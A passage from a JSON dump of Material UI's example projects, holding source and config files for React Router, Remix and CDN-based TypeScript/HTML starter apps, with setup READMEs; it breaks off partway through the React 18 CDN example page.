    "content": "import * as React from 'react';\nimport {\n  isRouteErrorResponse,\n  Links,\n  Meta,\n  Outlet,\n  Scripts,\n  ScrollRestoration,\n} from 'react-router';\nimport { CacheProvider } from '@emotion/react';\nimport Box from '@mui/material/Box';\nimport AppTheme from './theme';\nimport createEmotionCache from './createCache';\n\nimport type { Route } from './+types/root';\n\nexport const links: Route.LinksFunction = () => [\n  { rel: 'preconnect', href: 'https://fonts.googleapis.com' },\n  {\n    rel: 'preconnect',\n    href: 'https://fonts.gstatic.com',\n    crossOrigin: 'anonymous',\n  },\n  {\n    rel: 'stylesheet',\n    href: 'https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap',\n  },\n];\n\nexport function Layout({ children }: { children: React.ReactNode }) {\n  return (\n    <html lang=\"en\" suppressHydrationWarning>\n      <head>\n        <meta charSet=\"utf-8\" />\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n        <Meta />\n        <Links />\n      </head>\n      <body>\n        {children}\n        <ScrollRestoration />\n        <Scripts />\n      </body>\n    </html>\n  );\n}\n\nconst cache = createEmotionCache();\n\nexport default function App() {\n  if (typeof window !== 'undefined') {\n    return (\n      <CacheProvider value={cache}>\n        <AppTheme>\n          <Outlet />\n        </AppTheme>\n      </CacheProvider>\n    );\n  }\n  return (\n    <AppTheme>\n      <Outlet />\n    </AppTheme>\n  );\n}\n\nexport function ErrorBoundary({ error }: Route.ErrorBoundaryProps) {\n  let message = 'Oops!';\n  let details = 'An unexpected error occurred.';\n  let stack: string | undefined;\n\n  if (isRouteErrorResponse(error)) {\n    message = error.status === 404 ? '404' : 'Error';\n    details =\n      error.status === 404 ? 'The requested page could not be found.' : error.statusText || details;\n  } else if (import.meta.env.DEV && error && error instanceof Error) {\n    details = error.message;\n    stack = error.stack;\n  }\n\n  return (\n    <Box component=\"main\" sx={{ pt: 8, p: 2, maxWidth: 'lg', mx: 'auto' }}>\n      <h1>{message}</h1>\n      <p>{details}</p>\n      {stack && (\n        <Box component=\"pre\" sx={{ width: '100%', p: 2, overflowX: 'auto' }}>\n          <code>{stack}</code>\n        </Box>\n      )}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/app/routes/about.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport { Link as ReactRouterLink } from 'react-router';\nimport ProTip from '~/components/ProTip';\nimport Copyright from '~/components/Copyright';\n\nexport function meta() {\n  return [\n    { title: 'About' },\n    {\n      name: 'description',\n      content: 'About the project',\n    },\n  ];\n}\n\nexport default function About() {\n  return (\n    <Container maxWidth=\"lg\">\n      <Box\n        sx={{\n          my: 4,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'center',\n          alignItems: 'center',\n        }}\n      >\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - React Router example in TypeScript\n        </Typography>\n        <Box sx={{ maxWidth: 'sm' }}>\n          <Button variant=\"contained\" component={ReactRouterLink} to=\"/\">\n            Go to the home page\n          </Button>\n        </Box>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/app/routes/home.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\nimport { Link as ReactRouterLink } from 'react-router';\nimport ProTip from '~/components/ProTip';\nimport Copyright from '~/components/Copyright';\n\nexport function meta() {\n  return [\n    { title: 'Material UI - React Router example in TypeScript' },\n    {\n      name: 'description',\n      content: 'Welcome to Material UI - React Router example in TypeScript!',\n    },\n  ];\n}\n\nexport default function Home() {\n  return (\n    <Container maxWidth=\"lg\">\n      <Box\n        sx={{\n          my: 4,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'center',\n          alignItems: 'center',\n        }}\n      >\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - React Router example in TypeScript\n        </Typography>\n        <Link to=\"/about\" color=\"secondary\" component={ReactRouterLink}>\n          Go to the about page\n        </Link>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/app/routes.ts",
    "content": "import { type RouteConfig, index, route } from '@react-router/dev/routes';\n\nexport default [\n  index('routes/home.tsx'),\n  route('/about', 'routes/about.tsx'),\n] satisfies RouteConfig;\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/app/theme.tsx",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\n\nconst theme = createTheme({\n  cssVariables: true,\n  colorSchemes: {\n    light: true,\n    dark: true,\n  },\n});\n\ninterface AppThemeProps {\n  children: React.ReactNode;\n}\n\nexport default function AppTheme({ children }: AppThemeProps) {\n  return (\n    <ThemeProvider theme={theme}>\n      <CssBaseline />\n      {children}\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/package.json",
    "content": "{\n  \"name\": \"material-ui-react-router-ts\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"scripts\": {\n    \"build\": \"react-router build\",\n    \"dev\": \"react-router dev\",\n    \"start\": \"react-router-serve ./build/server/index.js\",\n    \"typecheck\": \"react-router typegen && tsc\"\n  },\n  \"dependencies\": {\n    \"@emotion/cache\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/server\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/material\": \"next\",\n    \"@react-router/node\": \"latest\",\n    \"@react-router/serve\": \"latest\",\n    \"isbot\": \"latest\",\n    \"react\": \"latest\",\n    \"react-dom\": \"latest\",\n    \"react-router\": \"latest\"\n  },\n  \"devDependencies\": {\n    \"@react-router/dev\": \"latest\",\n    \"@types/node\": \"latest\",\n    \"@types/react\": \"latest\",\n    \"@types/react-dom\": \"latest\",\n    \"typescript\": \"latest\",\n    \"vite\": \"latest\",\n    \"vite-tsconfig-paths\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/react-router.config.ts",
    "content": "import type { Config } from '@react-router/dev/config';\n\nexport default {\n  // Config options...\n  // Server-side render by default, to enable SPA mode set this to `false`\n  ssr: true,\n} satisfies Config;\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/tsconfig.json",
    "content": "{\n  \"include\": [\"**/*\", \"**/.server/**/*\", \"**/.client/**/*\", \".react-router/types/**/*\"],\n  \"compilerOptions\": {\n    \"lib\": [\"DOM\", \"DOM.Iterable\", \"ES2022\"],\n    \"types\": [\"node\", \"vite/client\"],\n    \"target\": \"ES2022\",\n    \"module\": \"ES2022\",\n    \"moduleResolution\": \"bundler\",\n    \"jsx\": \"react-jsx\",\n    \"rootDirs\": [\".\", \"./.react-router/types\"],\n    \"paths\": {\n      \"~/*\": [\"./app/*\"]\n    },\n    \"esModuleInterop\": true,\n    \"verbatimModuleSyntax\": true,\n    \"noEmit\": true,\n    \"resolveJsonModule\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/vite.config.ts",
    "content": "import { reactRouter } from '@react-router/dev/vite';\nimport { defineConfig } from 'vite';\nimport tsconfigPaths from 'vite-tsconfig-paths';\n\nexport default defineConfig({\n  plugins: [reactRouter(), tsconfigPaths()],\n  ssr: {\n    // Workaround for resolving dependencies in the server bundle\n    // Without this, the React context will be different between direct import and transitive imports in development environment\n    // For more information, see https://github.com/mui/material-ui/issues/45878#issuecomment-2987441663\n    optimizeDeps: {\n      include: ['@emotion/*', '@mui/*'],\n    },\n    noExternal: ['@emotion/*', '@mui/*'],\n  },\n});\n"
  },
  {
    "path": "examples/material-ui-remix-ts/.gitignore",
    "content": "node_modules\n\n/.cache\n/build\n/public/build\n.env\n"
  },
  {
    "path": "examples/material-ui-remix-ts/.stackblitzrc",
    "content": "{\n  \"startCommand\": \"npm run dev\"\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/README.md",
    "content": "# Material UI - Remix example in TypeScript\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-remix-ts\ncd material-ui-remix-ts\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-remix-ts)\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-remix-ts)\n\n## The idea behind the example\n\n<!-- #host-reference -->\n\nThe project uses [Remix](https://remix.run/), which is a full-stack web framework.\nIt includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\nIf you prefer, you can [use styled-components instead](https://next.mui.com/material-ui/integrations/interoperability/#styled-components).\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/entry.client.tsx",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport { RemixBrowser } from '@remix-run/react';\nimport { CacheProvider } from '@emotion/react';\nimport { ThemeProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport ClientStyleContext from './src/ClientStyleContext';\nimport createEmotionCache from './src/createEmotionCache';\nimport theme from './src/theme';\n\ninterface ClientCacheProviderProps {\n  children: React.ReactNode;\n}\nfunction ClientCacheProvider({ children }: ClientCacheProviderProps) {\n  const [cache, setCache] = React.useState(createEmotionCache());\n\n  const clientStyleContextValue = React.useMemo(\n    () => ({\n      reset() {\n        setCache(createEmotionCache());\n      },\n    }),\n    [],\n  );\n\n  return (\n    <ClientStyleContext.Provider value={clientStyleContextValue}>\n      <CacheProvider value={cache}>{children}</CacheProvider>\n    </ClientStyleContext.Provider>\n  );\n}\n\nconst hydrate = () => {\n  React.startTransition(() => {\n    ReactDOM.hydrateRoot(\n      document,\n      <ClientCacheProvider>\n        <ThemeProvider theme={theme}>\n          {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n          <CssBaseline />\n          <RemixBrowser />\n        </ThemeProvider>\n      </ClientCacheProvider>,\n    );\n  });\n};\n\nif (window.requestIdleCallback) {\n  window.requestIdleCallback(hydrate);\n} else {\n  // Safari doesn't support requestIdleCallback\n  // https://caniuse.com/requestidlecallback\n  setTimeout(hydrate, 1);\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/entry.server.tsx",
    "content": "import * as React from 'react';\nimport * as ReactDOMServer from 'react-dom/server';\nimport { RemixServer } from '@remix-run/react';\nimport type { EntryContext } from '@remix-run/node';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider } from '@mui/material/styles';\nimport { CacheProvider } from '@emotion/react';\nimport createEmotionServer from '@emotion/server/create-instance';\nimport theme from './src/theme';\nimport createEmotionCache from './src/createEmotionCache';\n\nexport default function handleRequest(\n  request: Request,\n  responseStatusCode: number,\n  responseHeaders: Headers,\n  remixContext: EntryContext,\n) {\n  const cache = createEmotionCache();\n  const { extractCriticalToChunks } = createEmotionServer(cache);\n\n  function MuiRemixServer() {\n    return (\n      <CacheProvider value={cache}>\n        <ThemeProvider theme={theme}>\n          {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n          <CssBaseline />\n          <RemixServer context={remixContext} url={request.url} />\n        </ThemeProvider>\n      </CacheProvider>\n    );\n  }\n\n  // Render the component to a string.\n  const html = ReactDOMServer.renderToString(<MuiRemixServer />);\n\n  // Grab the CSS from emotion\n  const { styles } = extractCriticalToChunks(html);\n\n  let stylesHTML = '';\n\n  styles.forEach(({ key, ids, css }) => {\n    const emotionKey = `${key} ${ids.join(' ')}`;\n    const newStyleTag = `<style data-emotion=\"${emotionKey}\">${css}</style>`;\n    stylesHTML = `${stylesHTML}${newStyleTag}`;\n  });\n\n  // Add the Emotion style tags after the insertion point meta tag\n  const markup = html.replace(\n    /<meta(\\s)*name=\"emotion-insertion-point\"(\\s)*content=\"emotion-insertion-point\"(\\s)*\\/>/,\n    `<meta name=\"emotion-insertion-point\" content=\"emotion-insertion-point\"/>${stylesHTML}`,\n  );\n\n  responseHeaders.set('Content-Type', 'text/html');\n\n  return new Response(`<!DOCTYPE html>${markup}`, {\n    status: responseStatusCode,\n    headers: responseHeaders,\n  });\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/root.tsx",
    "content": "import * as React from 'react';\nimport {\n  Links,\n  LiveReload,\n  Meta,\n  Outlet,\n  Scripts,\n  ScrollRestoration,\n  useRouteError,\n  isRouteErrorResponse,\n} from '@remix-run/react';\nimport { withEmotionCache } from '@emotion/react';\nimport { unstable_useEnhancedEffect as useEnhancedEffect } from '@mui/material';\nimport theme from './src/theme';\nimport ClientStyleContext from './src/ClientStyleContext';\nimport Layout from './src/Layout';\n\ninterface DocumentProps {\n  children: React.ReactNode;\n  title?: string;\n}\n\nconst Document = withEmotionCache(({ children, title }: DocumentProps, emotionCache) => {\n  const clientStyleData = React.useContext(ClientStyleContext);\n\n  // Only executed on client\n  useEnhancedEffect(() => {\n    // re-link sheet container\n    emotionCache.sheet.container = document.head;\n    // re-inject tags\n    const tags = emotionCache.sheet.tags;\n    emotionCache.sheet.flush();\n    tags.forEach((tag) => {\n      // eslint-disable-next-line no-underscore-dangle\n      (emotionCache.sheet as any)._insertTag(tag);\n    });\n    // reset cache to reapply global styles\n    clientStyleData.reset();\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n\n  return (\n    <html lang=\"en\">\n      <head>\n        <meta charSet=\"utf-8\" />\n        <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\" />\n        <meta name=\"theme-color\" content={theme.palette.primary.main} />\n        {title ? <title>{title}</title> : null}\n        <Meta />\n        <Links />\n        <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossOrigin=\"\" />\n        <link\n          rel=\"stylesheet\"\n          href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n        />\n        <meta name=\"emotion-insertion-point\" content=\"emotion-insertion-point\" />\n      </head>\n      <body>\n        {children}\n        <ScrollRestoration />\n        <Scripts />\n        <LiveReload />\n      </body>\n    </html>\n  );\n});\n\n// https://remix.run/docs/en/main/route/component\n// https://remix.run/docs/en/main/file-conventions/routes\nexport default function App() {\n  return (\n    <Document>\n      <Layout>\n        <Outlet />\n      </Layout>\n    </Document>\n  );\n}\n\n// https://remix.run/docs/en/main/route/error-boundary\nexport function ErrorBoundary() {\n  const error = useRouteError();\n\n  if (isRouteErrorResponse(error)) {\n    let message;\n    switch (error.status) {\n      case 401:\n        message = <p>Oops! Looks like you tried to visit a page that you do not have access to.</p>;\n        break;\n      case 404:\n        message = <p>Oops! Looks like you tried to visit a page that does not exist.</p>;\n        break;\n\n      default:\n        throw new Error(error.data || error.statusText);\n    }\n\n    return (\n      <Document title={`${error.status} ${error.statusText}`}>\n        <Layout>\n          <h1>\n            {error.status}: {error.statusText}\n          </h1>\n          {message}\n        </Layout>\n      </Document>\n    );\n  }\n\n  if (error instanceof Error) {\n    console.error(error);\n    return (\n      <Document title=\"Error!\">\n        <Layout>\n          <div>\n            <h1>There was an error</h1>\n            <p>{error.message}</p>\n            <hr />\n            <p>Hey, developer, you should replace this with what you want your users to see.</p>\n          </div>\n        </Layout>\n      </Document>\n    );\n  }\n\n  return <h1>Unknown Error</h1>;\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/routes/_index.tsx",
    "content": "import * as React from 'react';\nimport type { MetaFunction } from '@remix-run/node';\nimport { Link as RemixLink } from '@remix-run/react';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\n\n// https://remix.run/docs/en/main/route/meta\nexport const meta: MetaFunction = () => [\n  { title: 'Remix Starter' },\n  { name: 'description', content: 'Welcome to remix!' },\n];\n\n// https://remix.run/docs/en/main/file-conventions/routes#basic-routes\nexport default function Index() {\n  return (\n    <React.Fragment>\n      <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n        Material UI Remix in TypeScript example\n      </Typography>\n      <Link to=\"/about\" color=\"secondary\" component={RemixLink}>\n        Go to the about page\n      </Link>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/routes/about.tsx",
    "content": "import * as React from 'react';\nimport { Link } from '@remix-run/react';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\n\nexport default function About() {\n  return (\n    <React.Fragment>\n      <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n        Material UI Remix in TypeScript example\n      </Typography>\n      <Button variant=\"contained\" component={Link} to=\"/\">\n        Go to the main page\n      </Button>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/src/ClientStyleContext.tsx",
    "content": "import * as React from 'react';\n\nexport interface ClientStyleContextData {\n  reset: () => void;\n}\n\nexport default React.createContext<ClientStyleContextData>({\n  reset: () => {},\n});\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/src/Copyright.tsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\n\nexport default function Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/src/Layout.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Box from '@mui/material/Box';\nimport ProTip from './ProTip';\nimport Copyright from './Copyright';\n\nexport default function Layout({ children }: { children: React.ReactNode }) {\n  return (\n    <Container maxWidth=\"sm\">\n      <Box sx={{ my: 4 }}>\n        {children}\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/src/ProTip.tsx",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/src/createEmotionCache.ts",
    "content": "import createCache from '@emotion/cache';\n\nexport default function createEmotionCache() {\n  return createCache({ key: 'css' });\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/app/src/theme.ts",
    "content": "import { createTheme } from '@mui/material/styles';\nimport { red } from '@mui/material/colors';\n\n// Create a theme instance.\nconst theme = createTheme({\n  cssVariables: true,\n  palette: {\n    primary: {\n      main: '#556cd6',\n    },\n    secondary: {\n      main: '#19857b',\n    },\n    error: {\n      main: red.A400,\n    },\n  },\n});\n\nexport default theme;\n"
  },
  {
    "path": "examples/material-ui-remix-ts/package.json",
    "content": "{\n  \"name\": \"material-ui-remix-ts\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"build\": \"remix build\",\n    \"dev\": \"remix dev --manual\",\n    \"start\": \"remix-serve ./build/index.js\",\n    \"typecheck\": \"tsc\"\n  },\n  \"dependencies\": {\n    \"@emotion/cache\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/server\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/material\": \"next\",\n    \"@remix-run/css-bundle\": \"latest\",\n    \"@remix-run/node\": \"latest\",\n    \"@remix-run/react\": \"latest\",\n    \"@remix-run/serve\": \"latest\",\n    \"@remix-run/server-runtime\": \"latest\",\n    \"react\": \"latest\",\n    \"react-dom\": \"latest\"\n  },\n  \"devDependencies\": {\n    \"@remix-run/dev\": \"latest\",\n    \"@types/react\": \"latest\",\n    \"@types/react-dom\": \"latest\",\n    \"typescript\": \"latest\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"sideEffects\": false\n}\n"
  },
  {
    "path": "examples/material-ui-remix-ts/remix.config.js",
    "content": "/** @type {import('@remix-run/dev').AppConfig} */\nmodule.exports = {\n  appDirectory: 'app',\n  browserBuildDirectory: 'public/build',\n  publicPath: '/build/',\n  serverBuildDirectory: 'build',\n  devServerPort: 8002,\n  // TODO: when mui has esm support, remove this (default is esm)\n  // check it https://github.com/mui/material-ui/issues/30671\n  serverModuleFormat: 'cjs',\n};\n"
  },
  {
    "path": "examples/material-ui-remix-ts/remix.env.d.ts",
    "content": "/// <reference types=\"@remix-run/dev\" />\n/// <reference types=\"@remix-run/node/globals\" />\n"
  },
  {
    "path": "examples/material-ui-remix-ts/tsconfig.json",
    "content": "{\n  \"include\": [\"remix.env.d.ts\", \"**/*.ts\", \"**/*.tsx\"],\n  \"compilerOptions\": {\n    \"lib\": [\"DOM\", \"DOM.Iterable\", \"ES2022\"],\n    \"isolatedModules\": true,\n    \"esModuleInterop\": true,\n    \"jsx\": \"react-jsx\",\n    \"moduleResolution\": \"node\",\n    \"resolveJsonModule\": true,\n    \"target\": \"ES2022\",\n    \"strict\": true,\n    \"allowJs\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"paths\": {\n      \"~/*\": [\"./app/*\"]\n    },\n\n    // Remix takes care of building everything in `remix build`.\n    \"noEmit\": true\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-via-cdn/README.md",
    "content": "# Material UI - CDN example\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-via-cdn\ncd material-ui-via-cdn\n```\n\nRun:\n\n```bash\n# React 19 or later\nopen index.html\n# React 18\nopen react-18-example.html\n```\n\n## The idea behind the example\n\nYou can start using Material UI with minimal front-end infrastructure, which is great for prototyping. It uses [ESM CDNs](https://esm.sh/).\nWe discourage using this approach in production, though.\nThe client has to download the entire library, regardless of which components are used, affecting performance and bandwidth usage.\n\n<!-- #target-branch-reference -->\n\n[The live preview.](https://raw.githack.com/mui/material-ui/master/examples/material-ui-via-cdn/index.html)\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-via-cdn/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>My page</title>\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <!-- Fonts to support Material Design -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n    />\n    <!-- Icons to support Material Design -->\n    <link rel=\"stylesheet\" href=\"https://fonts.googleapis.com/icon?family=Material+Icons\" />\n    <script type=\"importmap\">\n      {\n        \"imports\": {\n          \"react\": \"https://esm.sh/react@latest\",\n          \"react-dom\": \"https://esm.sh/react-dom@latest\",\n          \"react-dom/client\": \"https://esm.sh/react-dom@latest/client\",\n          \"react/jsx-runtime\": \"https://esm.sh/react@latest/jsx-runtime\",\n          \"@mui/material\": \"https://esm.sh/@mui/material@latest?external=react,react-dom\"\n        }\n      }\n    </script>\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <!-- Babel -->\n    <script src=\"https://unpkg.com/@babel/standalone/babel.min.js\"></script>\n    <!-- Usage -->\n    <script type=\"text/babel\" data-type=\"module\">\n      import * as React from 'react';\n      import { createRoot } from 'react-dom/client';\n      import {\n        colors,\n        CssBaseline,\n        ThemeProvider,\n        Typography,\n        Container,\n        createTheme,\n        Box,\n        SvgIcon,\n        Link,\n      } from '@mui/material';\n\n      // Create a theme instance.\n      const theme = createTheme({\n        cssVariables: true,\n        palette: {\n          primary: {\n            main: '#556cd6',\n          },\n          secondary: {\n            main: '#19857b',\n          },\n          error: {\n            main: colors.red.A400,\n          },\n        },\n      });\n\n      function LightBulbIcon(props) {\n        return (\n          <SvgIcon {...props}>\n            <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n          </SvgIcon>\n        );\n      }\n\n      function ProTip() {\n        return (\n          <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n            <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n            {'Pro tip: See more '}\n            <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n            {' in the Material UI documentation.'}\n          </Typography>\n        );\n      }\n\n      function Copyright() {\n        return (\n          <Typography variant=\"body2\" color=\"text.secondary\" align=\"center\">\n            {'Copyright © '}\n            <Link color=\"inherit\" href=\"https://mui.com/\">\n              Your Website\n            </Link>{' '}\n            {new Date().getFullYear()}\n            {'.'}\n          </Typography>\n        );\n      }\n\n      function App() {\n        return (\n          <Container maxWidth=\"sm\">\n            <Box sx={{ my: 4 }}>\n              <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n                Material UI CDN example\n              </Typography>\n              <ProTip />\n              <Copyright />\n            </Box>\n          </Container>\n        );\n      }\n\n      const root = createRoot(document.getElementById('root'));\n      root.render(\n        <ThemeProvider theme={theme}>\n          {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n          <CssBaseline />\n          <App />\n        </ThemeProvider>,\n      );\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "examples/material-ui-via-cdn/package.json",
    "content": "{\n  \"name\": \"material-ui-via-cdn\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"dependencies\": {},\n  \"scripts\": {}\n}\n"
  },
  {
    "path": "examples/material-ui-via-cdn/react-18-example.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>My page</title>\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <!-- Fonts to support Material Design -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n    />\n    <!-- Icons to support Material Design -->\n    <link rel=\"stylesheet\" href=\"https://fonts.googleapis.com/icon?family=Material+Icons\" />\n    <script type=\"importmap\">\n      {\n        \"imports\": {\n          \"react\": \"https://esm.sh/react@^18\",\n          \"react-dom\": \"https://esm.sh/react-dom@^18\",\n          \"react/jsx-runtime\": \"https://esm.sh/react@^18/jsx-runtime\",\n          \"@mui/material\": \"https://esm.sh/@mui/material@latest?external=react\"\n        }\n      }\n    </script>\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <!-- Babel -->\n    <script src=\"https://unpkg.com/@babel/standalone/babel.min.js\"></script>\n    <!-- Usage -->\n    <script type=\"text/babel\" data-type=\"module\">\n      import * as React from 'react';\n      import { createRoot } from 'react-dom';\n      import {\n        colors,\n        CssBaseline,\n        ThemeProvider,\n        Typography,\n        Container,\n        createTheme,\n        Box,\n        SvgIcon,\n        Link,\n      } from '@mui/material';\n\n      // Create a theme instance.\n      const theme = createTheme({\n        cssVariables: true,\n        palette: {\n          primary: {\n            main: '#556cd6',\n          },\n          secondary: {\n            main: '#19857b',\n          },\n          error: {\n            main: colors.red.A400,\n          